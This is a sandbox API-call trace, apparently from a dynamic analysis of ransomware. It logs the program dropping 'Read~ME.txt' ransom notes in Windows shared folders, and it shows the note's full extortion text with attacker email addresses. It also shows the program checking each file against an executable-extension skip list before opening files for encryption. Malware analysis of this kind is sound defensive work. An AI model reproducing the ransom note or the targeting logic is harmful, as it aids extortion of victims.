	[0078.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d038 | out: hHeap=0x300000) returned 1
	[0078.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4378
	[0078.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.509] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.509] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.510] CloseHandle (hObject=0x120) returned 1
	[0078.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4378 | out: hHeap=0x300000) returned 1
	[0078.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b42b0 | out: hHeap=0x300000) returned 1
	[0078.511] RtlWakeConditionVariable () returned 0x365f70
	[0078.511] GetCurrentThreadId () returned 0x3a4
	[0078.511] GetCurrentThreadId () returned 0x3a4
	[0078.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0078.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39eaf8 | out: hHeap=0x300000) returned 1
	[0078.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d0e0 | out: hHeap=0x300000) returned 1
	[0078.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4378
	[0078.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.524] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.524] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.525] CloseHandle (hObject=0x120) returned 1
	[0078.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4378 | out: hHeap=0x300000) returned 1
	[0078.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b42b0 | out: hHeap=0x300000) returned 1
	[0078.525] RtlWakeConditionVariable () returned 0x365f70
	[0078.525] GetCurrentThreadId () returned 0x3a4
	[0078.525] GetCurrentThreadId () returned 0x3a4
	[0078.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0078.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ebc0 | out: hHeap=0x300000) returned 1
	[0078.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6080 | out: hHeap=0x300000) returned 1
	[0078.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4378
	[0078.526] lstrlenW (lpString=".scr") returned 4
	[0078.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpSrch=".scr") returned 0x0
	[0078.526] lstrlenW (lpString=".cmd") returned 4
	[0078.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpSrch=".cmd") returned 0x0
	[0078.526] lstrlenW (lpString=".dll") returned 4
	[0078.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpSrch=".dll") returned 0x0
	[0078.526] lstrlenW (lpString=".bat") returned 4
	[0078.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpSrch=".bat") returned 0x0
	[0078.526] lstrlenW (lpString=".cpl") returned 4
	[0078.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpSrch=".cpl") returned 0x0
	[0078.526] lstrlenW (lpString=".sys") returned 4
	[0078.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpSrch=".sys") returned 0x0
	[0078.526] lstrlenW (lpString=".msc") returned 4
	[0078.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpSrch=".msc") returned 0x0
	[0078.526] lstrlenW (lpString=".com") returned 4
	[0078.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpSrch=".com") returned 0x0
	[0078.526] lstrlenW (lpString=".lnk") returned 4
	[0078.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpSrch=".lnk") returned 0x0
	[0078.526] lstrlenW (lpString=".msp") returned 4
	[0078.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpSrch=".msp") returned 0x0
	[0078.526] lstrlenW (lpString=".pif") returned 4
	[0078.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpSrch=".pif") returned 0x0
	[0078.526] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.526] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4378 | out: hHeap=0x300000) returned 1
	[0078.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b42b0 | out: hHeap=0x300000) returned 1
	[0078.527] RtlWakeConditionVariable () returned 0x365f70
	[0078.527] GetCurrentThreadId () returned 0x3a4
	[0078.527] GetCurrentThreadId () returned 0x3a4
	[0078.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0078.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec88 | out: hHeap=0x300000) returned 1
	[0078.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60b8 | out: hHeap=0x300000) returned 1
	[0078.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4378
	[0078.528] lstrlenW (lpString=".scr") returned 4
	[0078.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpSrch=".scr") returned 0x0
	[0078.528] lstrlenW (lpString=".cmd") returned 4
	[0078.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpSrch=".cmd") returned 0x0
	[0078.528] lstrlenW (lpString=".dll") returned 4
	[0078.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpSrch=".dll") returned 0x0
	[0078.528] lstrlenW (lpString=".bat") returned 4
	[0078.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpSrch=".bat") returned 0x0
	[0078.528] lstrlenW (lpString=".cpl") returned 4
	[0078.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpSrch=".cpl") returned 0x0
	[0078.528] lstrlenW (lpString=".sys") returned 4
	[0078.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpSrch=".sys") returned 0x0
	[0078.528] lstrlenW (lpString=".msc") returned 4
	[0078.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpSrch=".msc") returned 0x0
	[0078.528] lstrlenW (lpString=".com") returned 4
	[0078.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpSrch=".com") returned 0x0
	[0078.528] lstrlenW (lpString=".lnk") returned 4
	[0078.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpSrch=".lnk") returned 0x0
	[0078.528] lstrlenW (lpString=".msp") returned 4
	[0078.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpSrch=".msp") returned 0x0
	[0078.528] lstrlenW (lpString=".pif") returned 4
	[0078.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpSrch=".pif") returned 0x0
	[0078.528] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.528] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4378 | out: hHeap=0x300000) returned 1
	[0078.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b42b0 | out: hHeap=0x300000) returned 1
	[0078.529] RtlWakeConditionVariable () returned 0x365f70
	[0078.529] GetCurrentThreadId () returned 0x3a4
	[0078.529] GetCurrentThreadId () returned 0x3a4
	[0078.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0078.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acd70 | out: hHeap=0x300000) returned 1
	[0078.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60f0 | out: hHeap=0x300000) returned 1
	[0078.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4378
	[0078.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.541] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.542] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.543] CloseHandle (hObject=0x120) returned 1
	[0078.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4378 | out: hHeap=0x300000) returned 1
	[0078.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b42b0 | out: hHeap=0x300000) returned 1
	[0078.543] RtlWakeConditionVariable () returned 0x365f70
	[0078.543] GetCurrentThreadId () returned 0x3a4
	[0078.543] GetCurrentThreadId () returned 0x3a4
	[0078.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f59a8
	[0078.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f60d8 | out: hHeap=0x300000) returned 1
	[0078.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6198 | out: hHeap=0x300000) returned 1
	[0078.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f60d8
	[0078.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.576] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.577] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.578] CloseHandle (hObject=0x120) returned 1
	[0078.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f60d8 | out: hHeap=0x300000) returned 1
	[0078.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f59a8 | out: hHeap=0x300000) returned 1
	[0078.578] RtlWakeConditionVariable () returned 0x365f70
	[0078.578] GetCurrentThreadId () returned 0x3a4
	[0078.578] GetCurrentThreadId () returned 0x3a4
	[0078.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0078.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8f78 | out: hHeap=0x300000) returned 1
	[0078.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6400 | out: hHeap=0x300000) returned 1
	[0078.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8f78
	[0078.579] lstrlenW (lpString=".scr") returned 4
	[0078.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpSrch=".scr") returned 0x0
	[0078.579] lstrlenW (lpString=".cmd") returned 4
	[0078.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpSrch=".cmd") returned 0x0
	[0078.579] lstrlenW (lpString=".dll") returned 4
	[0078.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpSrch=".dll") returned 0x0
	[0078.579] lstrlenW (lpString=".bat") returned 4
	[0078.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpSrch=".bat") returned 0x0
	[0078.579] lstrlenW (lpString=".cpl") returned 4
	[0078.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpSrch=".cpl") returned 0x0
	[0078.579] lstrlenW (lpString=".sys") returned 4
	[0078.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpSrch=".sys") returned 0x0
	[0078.579] lstrlenW (lpString=".msc") returned 4
	[0078.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpSrch=".msc") returned 0x0
	[0078.579] lstrlenW (lpString=".com") returned 4
	[0078.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpSrch=".com") returned 0x0
	[0078.579] lstrlenW (lpString=".lnk") returned 4
	[0078.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpSrch=".lnk") returned 0x0
	[0078.579] lstrlenW (lpString=".msp") returned 4
	[0078.579] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpSrch=".msp") returned 0x0
	[0078.580] lstrlenW (lpString=".pif") returned 4
	[0078.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpSrch=".pif") returned 0x0
	[0078.580] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.580] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", lpSrch="msp\r\n.pif") returned 0x0
	[0078.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8f78 | out: hHeap=0x300000) returned 1
	[0078.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0078.611] RtlWakeConditionVariable () returned 0x365f70
	[0078.611] GetCurrentThreadId () returned 0x3a4
	[0078.611] GetCurrentThreadId () returned 0x3a4
	[0078.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0078.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0b68 | out: hHeap=0x300000) returned 1
	[0078.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6780 | out: hHeap=0x300000) returned 1
	[0078.611] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0078.612] lstrlenW (lpString=".scr") returned 4
	[0078.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpSrch=".scr") returned 0x0
	[0078.612] lstrlenW (lpString=".cmd") returned 4
	[0078.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpSrch=".cmd") returned 0x0
	[0078.612] lstrlenW (lpString=".dll") returned 4
	[0078.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpSrch=".dll") returned 0x0
	[0078.612] lstrlenW (lpString=".bat") returned 4
	[0078.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpSrch=".bat") returned 0x0
	[0078.612] lstrlenW (lpString=".cpl") returned 4
	[0078.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpSrch=".cpl") returned 0x0
	[0078.612] lstrlenW (lpString=".sys") returned 4
	[0078.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpSrch=".sys") returned 0x0
	[0078.612] lstrlenW (lpString=".msc") returned 4
	[0078.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpSrch=".msc") returned 0x0
	[0078.612] lstrlenW (lpString=".com") returned 4
	[0078.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpSrch=".com") returned 0x0
	[0078.612] lstrlenW (lpString=".lnk") returned 4
	[0078.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpSrch=".lnk") returned 0x0
	[0078.612] lstrlenW (lpString=".msp") returned 4
	[0078.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpSrch=".msp") returned 0x0
	[0078.612] lstrlenW (lpString=".pif") returned 4
	[0078.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpSrch=".pif") returned 0x0
	[0078.612] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0078.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0b68 | out: hHeap=0x300000) returned 1
	[0078.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7850 | out: hHeap=0x300000) returned 1
	[0078.619] RtlWakeConditionVariable () returned 0x365f70
	[0078.619] GetCurrentThreadId () returned 0x3a4
	[0078.619] GetCurrentThreadId () returned 0x3a4
	[0078.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f37e8
	[0078.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f45b0 | out: hHeap=0x300000) returned 1
	[0078.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6848 | out: hHeap=0x300000) returned 1
	[0078.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f45b0
	[0078.619] lstrlenW (lpString=".scr") returned 4
	[0078.619] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll", lpSrch=".scr") returned 0x0
	[0078.619] lstrlenW (lpString=".cmd") returned 4
	[0078.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll", lpSrch=".cmd") returned 0x0
	[0078.620] lstrlenW (lpString=".dll") returned 4
	[0078.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll", lpSrch=".dll") returned=".dll"
	[0078.620] lstrlenW (lpString=".dll") returned 4
	[0078.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f45b0 | out: hHeap=0x300000) returned 1
	[0078.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f37e8 | out: hHeap=0x300000) returned 1
	[0078.620] RtlWakeConditionVariable () returned 0x365f70
	[0078.620] GetCurrentThreadId () returned 0x3a4
	[0078.620] GetCurrentThreadId () returned 0x3a4
	[0078.620] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0078.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0d30 | out: hHeap=0x300000) returned 1
	[0078.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6880 | out: hHeap=0x300000) returned 1
	[0078.620] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0078.620] lstrlenW (lpString=".scr") returned 4
	[0078.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpSrch=".scr") returned 0x0
	[0078.620] lstrlenW (lpString=".cmd") returned 4
	[0078.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpSrch=".cmd") returned 0x0
	[0078.620] lstrlenW (lpString=".dll") returned 4
	[0078.620] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpSrch=".dll") returned 0x0
	[0078.621] lstrlenW (lpString=".bat") returned 4
	[0078.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpSrch=".bat") returned 0x0
	[0078.621] lstrlenW (lpString=".cpl") returned 4
	[0078.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpSrch=".cpl") returned 0x0
	[0078.621] lstrlenW (lpString=".sys") returned 4
	[0078.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpSrch=".sys") returned 0x0
	[0078.621] lstrlenW (lpString=".msc") returned 4
	[0078.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpSrch=".msc") returned 0x0
	[0078.621] lstrlenW (lpString=".com") returned 4
	[0078.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpSrch=".com") returned 0x0
	[0078.621] lstrlenW (lpString=".lnk") returned 4
	[0078.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpSrch=".lnk") returned 0x0
	[0078.621] lstrlenW (lpString=".msp") returned 4
	[0078.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpSrch=".msp") returned 0x0
	[0078.621] lstrlenW (lpString=".pif") returned 4
	[0078.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpSrch=".pif") returned 0x0
	[0078.621] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.621] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", lpSrch="msp\r\n.pif") returned 0x0
